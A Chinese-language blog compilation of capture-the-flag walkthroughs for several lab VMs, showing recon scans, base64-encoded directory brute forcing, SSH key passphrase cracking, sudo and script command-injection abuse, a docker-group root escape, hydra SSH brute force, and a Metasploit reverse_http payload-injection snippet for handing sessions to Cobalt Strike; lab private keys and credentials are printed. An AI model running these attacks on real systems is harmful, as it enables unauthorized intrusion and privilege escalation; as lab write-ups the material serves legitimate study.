0%

信息搜集

arp-scan -l

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:7d:7d:cf, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1 a4:a9:30:df:ef:44 (Unknown)
192.168.31.85 7e:2c:58:df:4e:cb (Unknown: locally administered)
192.168.31.220 46:3e:62:f9:1e:fa (Unknown: locally administered)
192.168.31.232 08:00:27:d9:d3:0c PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.973 seconds (129.75 hosts/sec). 4 responded

ip为192.168.31.220,nmap扫描端口

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.232 --min-rate=1000 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 08:13 EST
Nmap scan report for baseme (192.168.31.232)
Host is up (0.0065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:D9:D3:0C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds

80端口

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# curl 192.168.31.232
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

给了一串base64和几个字符串

base64解码内容为:

1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop/tmp]
└─# echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK"|base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

可以知道用户名为lucas,并且所有内容都要进行base64。

将字典进行base64编码,然后扫描目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt|while read line;do for i in $line;echo $i|base64 >>1;done
┌──(root㉿kali)-[~/Desktop/tmp]
└─# gobuster dir -u "http://192.168.31.232" -w ./1
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.232
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./1
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aWRfcnNhCg== (Status: 200) [Size: 2537]
/cm9ib3RzLnR4dAo= (Status: 200) [Size: 25]
Progress: 4736 / 4737 (99.98%)
===============================================================
Finished
===============================================================

这两个文件分别是id_rsa和robots.txt

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/tmp]
└─# echo "aWRfcnNhCg=="|base64 -d
id_rsa

┌──(root㉿kali)-[~/Desktop/tmp]
└─# echo "cm9ib3RzLnR4dAo="|base64 -d
robots.txt

robots.txt里什么也没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿kali)-[~/Desktop/tmp]
└─# base64 cm9ib3RzLnR4dAo= -d
Nothing here :(

┌──(root㉿kali)-[~/Desktop/tmp]
└─# base64 aWRfcnNhCg=\= -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL
BtzfftAdPgp8YZAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCZCXvEPnO1
cbhxqctBEcBDZjqrFfolwVKmpBgY07M3CK7pO10UgBsLyYwAzJEw4e6YgPNSyCDWFaNTKG
07jgcgrggre8ePCMNFBCAGaYHmLrFIsKDCLI4NE54t58IUHeXCZz72xTobL/ptLk26RBnh
7bHG1JjGlxOkO6m+1oFNLtNuD2QPl8sbZtEzX4S9nNZ/dpyRpMfmB73rN3yyIylevVDEyv
f7CZ7oRO46uDgFPy5VzkndCeJF2YtZBXf5gjc2fajMXvq+b8ol8RZZ6jHXAhiblBXwpAm4
vLYfxzI27BZFnoteBnbdzwSL5apBF5gYWJAHKj/J6MhDj1GKAFc1AAAD0N9UDTcUxwMt5X
YFIZK8ieBL0NOuwocdgbUuktC21SdnSy6ocW3imM+3mzWjPdoBK/Ho339uPmBWI5sbMrpK
xkZMnl+rcTbgz4swv8gNuKhUc7wTgtrNX+PNMdIALNpsxYLt/l56GK8R4J8fLIU5+MojRs
+1NrYs8J4rnO1qWNoJRZoDlAaYqBV95cXoAEkwUHVustfgxUtrYKp+YPFIgx8okMjJgnbi
NNW3TzxluNi5oUhalH2DJ2khKDGQUi9ROFcsEXeJXt3lgpZZt1hrQDA1o8jTXeS4+dW7nZ
zjf3p0M77b/NvcZE+oXYQ1g5Xp1QSOSbj+tlmw54L7Eqb1UhZgnQ7ZsKCoaY9SuAcqm3E0
IJh+I+Zv1egSMS/DOHIxO3psQkciLjkpa+GtwQMl1ZAJHQaB6q70JJcBCfVsykdY52LKDI
pxZYpLZmyDx8TTaA8JOmvGpfNZkMU4I0i5/ZT65SRFJ1NlBCNwcwtOl9k4PW5LVxNsGRCJ
MJr8k5Ac0CX03fXESpmsUUVS+/Dj/hntHw89dO8HcqqIUEpeEbfTWLvax0CiSh3KjSceJp
+8gUyDGvCkcyVneUQjmmrRswRhTNxxKRBZsekGwHpo8hDYbUEFZqzzLAQbBIAdrl1tt7mV
tVBrmpM6CwJdzYEl21FaK8jvdyCwPr5HUgtuxrSpLvndcnwPaxJWGi4P471DDZeRYDGcWh
i6bICrLQgeJlHaEUmrQC5Rdv03zwI9U8DXUZ/OHb40PL8MXqBtU/b6CEU9JuzJpBrKZ+k+
tSn7hr8hppT2tUSxDvC+USMmw/WDfakjfHpoNwh7Pt5i0cwwpkXFQxJPvR0bLxvXZn+3xw
N7bw45FhBZCsHCAbV2+hVsP0lyxCQOj7yGkBja87S1e0q6WZjjB4SprenHkO7tg5Q0HsuM
Aif/02HHzWG+CR/IGlFsNtq1vylt2x+Y/091vCkROBDawjHz/8ogy2Fzg8JYTeoLkHwDGQ
O+TowA10RATek6ZEIxh6SmtDG/V5zeWCuEmK4sRT3q1FSvpB1/H+FxsGCoPIg8FzciGCh2
TLuskcXiagns9N1RLOnlHhiZd8RZA0Zg7oZIaBvaZnhZYGycpAJpWKebjrtokLYuMfXRLl
3/SAeUl72EA3m1DInxsPguFuk00roMc77N6erY7tjOZLVYPoSiygDR1A7f3zYz+0iFI4rL
ND8ikgmQvF6hrwwJBrp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6+Ex8RvcWI6bTJAWJ
LdmmRXUS/DtO+69/aidvxGAYob+1M=
-----END OPENSSH PRIVATE KEY-----

80端口给了几个字符串就是字典,base64编码后爆破id_rsa的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat 1|while read line;do for i in $line;echo $i|base64 >>1;done

┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat 1
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
aWxvdmV5b3UK
eW91bG92ZXlvdQo=
c2hlbG92ZXN5b3UK
aGVsb3Zlc3lvdQo=
d2Vsb3ZleW91Cg==
dGhleWhhdGVzbWUK
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~/Desktop/tmp]
└─# ssh2john id_rsa>1

┌──(root㉿kali)-[~/Desktop/tmp]
└─# john 1 -w=1
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)

┌──(root㉿kali)-[~/Desktop/tmp]
└─# john 1 -w=1 --show
Invalid options combination: "--show"

┌──(root㉿kali)-[~/Desktop/tmp]
└─# john 1 --show
id_rsa:aWxvdmV5b3UK

1 password hash cracked, 0 left

lucas用户的密码就是aWxvdmV5b3UK

提权

ssh登录拿到user.txt

sudo -l可以无密码运行base64,直接读取/root/root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
lucas@MiWiFi-RA71-srv:~$ sudo -u root base64 /root/root.txt|base64 -d
sudo: unable to resolve host MiWiFi-RA71-srv: No address associated with hostname
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
* **
,* ,*
** *.
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,

HMVFKBS64

想提权到root的话需要读取id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
lucas@MiWiFi-RA71-srv:~$ sudo -u root base64 /root/.ssh/id_rsa|base64 -d
sudo: unable to resolve host MiWiFi-RA71-srv: No address associated with hostname
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw6MgMnxUy+W9oem0Uhr2cJiez37qVubRK9D4kdu7H5NQ/Z0FFp2B
IdV3wx9xDWAICJgtYQUvOV7KFNAWvEXTDdhBwdiUcWEJ4AOXK7+5v7x4b8vuG5zK0lTVxp
DEBE8faPj3UaHsa1JUVaDngTIkCa6VBICvG0DCcfL8xHBpCSIfoHfpqmOpWT/pWXvGI3tk
/Ku/STY7Ay8HtSgoqCcf3F+lb9J9kwKhFg9eLO5QDuFujb1CN7gUy8xhgNanUViyCZRwn7
px+DfU+nscSEfG1zgfgqn2hCbBYqaP0jBgWcVL6YoMiwCS3jhmeFG4C/p51j3gI6b8yz9a
S+DtdTpDwQAAA8D82/wZ/Nv8GQAAAAdzc2gtcnNhAAABAQDDoyAyfFTL5b2h6bRSGvZwmJ
7PfupW5tEr0PiR27sfk1D9nQUWnYEh1XfDH3ENYAgImC1hBS85XsoU0Ba8RdMN2EHB2JRx
YQngA5crv7m/vHhvy+4bnMrSVNXGkMQETx9o+PdRoexrUlRVoOeBMiQJrpUEgK8bQMJx8v
zEcGkJIh+gd+mqY6lZP+lZe8Yje2T8q79JNjsDLwe1KCioJx/cX6Vv0n2TAqEWD14s7lAO
4W6NvUI3uBTLzGGA1qdRWLIJlHCfunH4N9T6exxIR8bXOB+CqfaEJsFipo/SMGBZxUvpig
yLAJLeOGZ4UbgL+nnWPeAjpvzLP1pL4O11OkPBAAAAAwEAAQAAAQBIArRoQOGJh9AMWBS6
oBgUC+lw4Ptq710Q7sOAFMxE7BnEsFZeI62TgZqqpNkdHjr2xuT1ME5YpK5niMzFkkIEd5
SEwK6rKRfUcB3lyZWaoMoIBJ1pZoY1c2qYw1KTb3hVUEbgsmRugIhwWGC+anFfavaJCMDr
nCO2g8VMnT/cTyAv/Qmi8m868KNEzcuzGV5ozHl1XLffHM9R/cqPPyAYaQIa9Z+kS6ou9R
iMTjTSxOPnfh286kgx0ry1se9BBlrEc5251R/PRkEKYrMj3AIwI30qvYlAtNfcCFhoJXLq
vWystPARwiUs7WYBUHRf6bPP/pHTTvwwb2bs51ngImpdAAAAgDaWnQ7Lj7Vp+mTjhSu4oG
ptDHNd2uuqB1+CHRcaVutUmknxvxG3p957UbvNp6e0+ePKtAIakrzbpAo6u25poyWugAuz
X2nQhqsQh6yrThDJlTiDMeV7JNGFbGOcanXXXHt3tjfyrS0+aM87WmwqNyh6nfgy1C5axR
fKZG8ivz5iAAAAgQD83QmCIcbZaCOlGwgHGcuCUDcxGY1QlIRnbM5VAjimNezGFs9f0ExD
SiTwFsmITP//njsbRZP2laiKKO6j4yp5LpfgDB5QHs+g4nXvDn6ns64gCKo7tf2bPP8VCe
FWyc2JyqREwE3WmyhkPlyr9xAZerZ+7Fz+NFueRYzDklWg8wAAAIEAxhBeLqbo6/GUKXF5
rFRatLXI43Jrd9pyvLx62KghsnEBEk7my9sbU5dvYBLztS+lfPCRxV2ZzpjYdN4SDJbXIR
txBaLJe3c4uIc9WjyxGwUK9IL65rSrRVERHsTO525ofPWGQEa2A+pRCpz3A4Y41fy8Y9an
2B2NmfTAfEkWFXsAAAALcm9vdEBiYXNlbWU=
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# ssh root@192.168.31.232 -i id_rsa
Linux MiWiFi-RA71-srv 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 22 08:08:11 2025 from 192.168.31.129
root@MiWiFi-RA71-srv:~#

总结

在处理字典的时候还可以有更高效的方法,其他的就没啥了

信息搜集

arp-scan -l扫描ip

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:7d:7d:cf, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1 a4:a9:30:df:ef:44 (Unknown)
192.168.31.51 08:00:27:c4:72:27 PCS Systemtechnik GmbH
192.168.31.220 46:3e:62:f9:1e:fa (Unknown: locally administered)
192.168.31.187 a6:9b:e0:2d:30:9a (Unknown: locally administered)
192.168.31.85 7e:2c:58:df:4e:cb (Unknown: locally administered)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 5 responded

ip为192.168.31.51,然后nmap扫描开放端口

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.51 --min-rate=1000 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 01:21 EST
Nmap scan report for pwned (192.168.31.51)
Host is up (0.00019s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:C4:72:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds

开放了21,22,80端口

80端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~/Desktop/tmp]
└─# gobuster dir -u "http://192.168.31.51" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.51
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/nothing (Status: 301) [Size: 316] [--> http://192.168.31.51/nothing/]
/server-status (Status: 403) [Size: 278]
/hidden_text (Status: 301) [Size: 320] [--> http://192.168.31.51/hidden_text/]
Progress: 220559 / 220560 (100.00%)
===============================================================
Finished
===============================================================

/nothing:

1
i said nothing bro

/hidden_text:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/hacked
/vanakam_nanba
/hackerman.gif
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home

利用给的目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~/Desktop/tmp]
└─# gobuster dir -u "http://192.168.31.51" -w ./secret.dic
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.51
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./secret.dic
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pwned.vuln (Status: 301) [Size: 319] [--> http://192.168.31.51/pwned.vuln/]
Progress: 22 / 23 (95.65%)
===============================================================
Finished
===============================================================

前端给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// if (isset($_POST['submit'])) {
// $un=$_POST['username'];
// $pw=$_POST['password'];
//
// if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
// echo "welcome"
// exit();
// }
// else
// echo "Invalid creds"
// }
?>

这是ftp的账号然后登录ftp

21端口

1
2
3
4
5
6
ftp> ls -la
229 Entering Extended Passive Mode (|||48619|)
150 Here comes the directory listing.
drwxrwxrwx 3 0 0 4096 Jul 09 2020 .
drwxr-xr-x 5 0 0 4096 Jul 10 2020 ..
drwxr-xr-x 2 0 0 4096 Jul 10 2020 share

有一个share文件夹,文件夹有id_rsa和note.txt

1
2
3
4
5
6
ftp> ls
229 Entering Extended Passive Mode (|||53927|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa
-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt
226 Directory send OK.

get下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||26918|)
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
100% |***************************************************************************| 2602 350.29 KiB/s 00:00 ETA
226 Transfer complete.
2602 bytes received in 00:00 (308.45 KiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||52418|)
150 Opening BINARY mode data connection for note.txt (75 bytes).
100% |***************************************************************************| 75 34.79 KiB/s 00:00 ETA
226 Transfer complete.
75 bytes received in 00:00 (21.66 KiB/s)

文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat note.txt

Wow you are here

ariana won't happy about this note

sorry ariana :(

给了ssh的私钥和用户名,给id_rsa文件600的权限然后登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~/Desktop/tmp]
└─# ssh ariana@192.168.31.51 -i id_rsa
The authenticity of host '192.168.31.51 (192.168.31.51)' can't be established.
ED25519 key fingerprint is SHA256:Eu7UdscPxuaxyzophLkeILniUaKCge0R96HjWhAmpyk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.51' (ED25519) to the list of known hosts.
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$ ls
ariana-personal.diary user1.txt

提权

1
2
3
4
5
6
ariana@pwned:/$ sudo -l
Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh

可以以selena用户,无密码运行/home/messenger.sh

messenger.sh的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ariana@pwned:/home$ cat messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "

$msg 2> /dev/null

echo ""
echo "Message sent to $name :) "
echo ""

直接sudo运行可以提权到selena,然后用python获取伪终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ariana@pwned:/home$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger


ariana:
selena:
ftpuser:

Enter username to send message : selena

Enter message for selena :bash

Sending message to selena
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
python3 -c 'import pty; pty.spawn("/bin/bash")'
selena@pwned:/home$

selena的主目录下有一个user2.txt

通过id能看到用户在docker组里

1
2
selena@pwned:/$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
1
2
3
4
5
6
selena@pwned:/$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
privesc latest 09ae39f0f8fc 4 years ago 88.3MB
<none> <none> e13ad046d435 4 years ago 88.3MB
alpine latest a24bb4013296 4 years ago 5.57MB
debian wheezy 10fcec6d95c4 5 years ago 88.3MB

docker提权

1
2
3
selena@pwned:/$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
id
# uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

提权成功

总结

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;用户在docker组里就可以免sudo运行docker,而容器内默认是root用户,用-v选项将用户外的目录映射到容器内既可以以root用户去修改文件

信息搜集

用arp-scan扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:7d:7d:cf, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1 a4:a9:30:df:ef:44 (Unknown)
192.168.31.200 08:00:27:5f:2f:1e PCS Systemtechnik GmbH
192.168.31.220 46:3e:62:f9:1e:fa (Unknown: locally administered)
192.168.31.187 a6:9b:e0:2d:30:9a (Unknown: locally administered)
192.168.31.217 b4:0f:b3:8e:31:07 vivo Mobile Communication Co., Ltd.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.995 seconds (128.32 hosts/sec). 5 responded

ip地址为192.168.31.200,然后nmap扫描开放的端口

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.200 --min-rate=1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 00:40 EST
Nmap scan report for gift (192.168.31.200)
Host is up (0.0080s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:5F:2F:1E (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.96 seconds

只开启了22和80端口

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/tmp]
└─# curl http://192.168.31.200/

Dont Overthink. Really, Its simple.
<!-- Trust me -->

目录扫描也只有一个index.html,80端口没有入口点,只能找22端口,用hydra爆破root密码

1
[22][ssh] host: 192.168.31.200   login: root   password: simple

SSH登录

ssh root@192.168.31.200

能直接查看root.txt和user.txt

总结

Dont Overthink. Really, Its simple.,Easy靶场,hydra直接爆破没什么好说的

msf派生cs

1
2
3
4
5
6
7
8
9
#msf
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.116.131
set lport 9000
set session 2
run

cs的监听要和lport的端口一样

cs派生msf

1
2
3
4
5
6
#msf
